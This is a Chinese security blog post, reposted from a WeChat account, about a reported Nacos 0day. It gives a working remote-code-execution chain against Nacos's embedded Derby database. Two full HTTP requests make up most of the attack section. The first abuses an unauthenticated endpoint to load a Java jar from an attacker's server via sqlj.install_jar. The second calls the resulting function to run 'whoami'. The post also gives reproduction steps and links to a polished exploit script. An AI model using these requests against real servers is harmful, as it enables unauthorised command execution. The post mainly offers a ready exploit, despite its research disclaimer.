关于网传的nacos最新0day

admin 2024年7月15日22:52:28评论96 views字数 1987阅读6分37秒阅读模式
个人理解的漏洞原理:本质实际上就是在20年那个未授权的基础上添加了命令执行,但是也导致了该漏洞的利用条件变得比较苛刻,目前测试需要比较多的条件才能进行漏洞利用

1. 0day作者的poc地址

https://github.com/ayoundzw/nacos-poc/blob/main/exploit.py

2. poc提取

根据作者的poc,其本质上就是两种poc数据包,下面的poc并不一定可以直接使用,下面漏洞分析的时候会解答
  1. 利用该poc去服务器地址远程下载payload代码

POST /nacos/v1/cs/ops/data/removal HTTP/1.1Host: xxx.xxx.xxx.xxxUser-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 487Content-Type: multipart/form-data; boundary=75fe833dc591c841a56f8fcfba0d650f--75fe833dc591c841a56f8fcfba0d650fContent-Disposition: form-data; name="file"; filename="file"CALL sqlj.install_jar('http://服务端地址/download', 'NACOS.pbKZBiXL', 0)        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.pbKZBiXL')        CREATE FUNCTION S_EXAMPLE_pbKZBiXL( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'--75fe833dc591c841a56f8fcfba0d650f--

2. 调用payload创建的函数去执行(本质上就是利用了20年的sql注入未授权)

GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_qejBMrcu%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1Host: xxx.xxx.xxx.xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like         Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67Accept-Encoding: gzip, deflateAccept: */*Connection: close

3. 漏洞复现

3.1. 首先将作者的poc中的config文件和service文件放置到公网服务器上

关于网传的nacos最新0day

3.2. 修改config文件中的ip为0.0.0.0(保证flask可以被外网访问)

关于网传的nacos最新0day

3.3. 修改本地的config文件中的ip修改为远程服务器的地址

关于网传的nacos最新0day

3.4. 运行poc即可

关于网传的nacos最新0day

关于网传的nacos最新0day

3.5. 复现数据包

3.5.1.1. 数据包1

关于网传的nacos最新0day

3.5.1. 数据包2

关于网传的nacos最新0day

4. 漏洞分析

总的来说利用难度比较大

1. 需要运气好撞出tmp,利用时间长

2. removal接口没有鉴权

3. 存在20年的sql注入未授权,也就是derby没有鉴权

  1. 该漏洞需要撞,才可以成功执行数据包1

下图是我第一次漏洞利用成功的数据包,重发会报错

关于网传的nacos最新0day

得不断的去碰撞,才可以实现成功上传

关于网传的nacos最新0day

关于网传的nacos最新0day

  1. removal接口没有鉴权

在测试到时候发现很多网站都会403,也就无法利用,除非进入后台

关于网传的nacos最新0day

5. 作者poc分析

5.1. 碰撞上传

这里的 for i in range(0, sys.maxsize):就是为了进行碰撞上传,sys.maxsize在64位的操作系统中为9223372036854775807,相当于死循环了,来实现对tmp的碰撞

关于网传的nacos最新0day

5.2. 两次请求

这里指向的两个请求分别就表示了两次poc数据包

关于网传的nacos最新0day

6. 代码优化

作者可能编写poc的时候比较仓促,脚本的一些细节没写好,导致会报错,例如ssl证书的报错,等等

下面给各位师傅放一下我修改后,实测过的脚本

将脚本同步到github上了,师傅可以直接下载,或者联系我获取

https://github.com/FFR66/Nacos_Rce

关于网传的nacos最新0day

关于网传的nacos最新0day

原文始发于微信公众号(Gat4by):关于网传的nacos最新0day

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日22:52:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于网传的nacos最新0dayhttps://cn-sec.com/archives/2958194.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息